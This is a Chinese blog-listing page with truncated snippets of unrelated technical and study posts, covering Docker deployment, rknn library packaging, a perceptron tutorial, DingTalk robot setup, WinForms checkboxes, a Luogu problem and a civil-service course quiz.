Web 项目 Docker 化部署详细教程 目录 Web 项目 Docker 化部署概述Dockerfile 详解 构建阶段生产阶段 构建和运行 Docker 镜像 1. Web 项目 Docker 化部署概述 Docker 化部署的主要步骤分为以下几个阶段&#xff1a; 构建阶段&#xff08;Build Stage&#xff09;&#xff1a…...

rknn优化教程(二)

文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK&#xff0c;开始写第二篇的内容了。这篇博客主要能写一下&#xff1a; 如何给一些三方库按照xmake方式进行封装&#xff0c;供调用如何按…...

【决胜公务员考试】求职OMG——见面课测验1

2025最新版&#xff01;&#xff01;&#xff01;6.8截至答题&#xff0c;大家注意呀&#xff01; 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:&#xff08; B &#xff09; A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...

IP如何挑?2025年海外专线IP如何购买?

你花了时间和预算买了IP&#xff0c;结果IP质量不佳&#xff0c;项目效率低下不说&#xff0c;还可能带来莫名的网络问题&#xff0c;是不是太闹心了&#xff1f;尤其是在面对海外专线IP时&#xff0c;到底怎么才能买到适合自己的呢&#xff1f;所以&#xff0c;挑IP绝对是个技…...

Python Ovito统计金刚石结构数量

大家好,我是小马老师。 本文介绍python ovito方法统计金刚石结构的方法。 Ovito Identify diamond structure命令可以识别和统计金刚石结构,但是无法直接输出结构的变化情况。 本文使用python调用ovito包的方法,可以持续统计各步的金刚石结构,具体代码如下: from ovito…...

深入浅出深度学习基础:从感知机到全连接神经网络的核心原理与应用

文章目录 前言一、感知机 (Perceptron)1.1 基础介绍1.1.1 感知机是什么&#xff1f;1.1.2 感知机的工作原理 1.2 感知机的简单应用&#xff1a;基本逻辑门1.2.1 逻辑与 (Logic AND)1.2.2 逻辑或 (Logic OR)1.2.3 逻辑与非 (Logic NAND) 1.3 感知机的实现1.3.1 简单实现 (基于阈…...

DingDing机器人群消息推送

文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人&#xff0c;点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置&#xff0c;详见说明文档 成功后&#xff0c;记录Webhook 2 API文档说明 点击设置说明 查看自…...

Xela矩阵三轴触觉传感器的工作原理解析与应用场景

Xela矩阵三轴触觉传感器通过先进技术模拟人类触觉感知&#xff0c;帮助设备实现精确的力测量与位移监测。其核心功能基于磁性三维力测量与空间位移测量&#xff0c;能够捕捉多维触觉信息。该传感器的设计不仅提升了触觉感知的精度&#xff0c;还为机器人、医疗设备和制造业的智…...

C# winform教程(二)----checkbox

一、作用 提供一个用户选择或者不选的状态&#xff0c;这是一个可以多选的控件。 二、属性 其实功能大差不差&#xff0c;除了特殊的几个外&#xff0c;与button基本相同&#xff0c;所有说几个独有的 checkbox属性 名称内容含义appearance控件外观可以变成按钮形状checkali…...

【题解-洛谷】P10480 可达性统计

题目&#xff1a;P10480 可达性统计 题目描述 给定一张 N N N 个点 M M M 条边的有向无环图&#xff0c;分别统计从每个点出发能够到达的点的数量。 输入格式 第一行两个整数 N , M N,M N,M&#xff0c;接下来 M M M 行每行两个整数 x , y x,y x,y&#xff0c;表示从 …...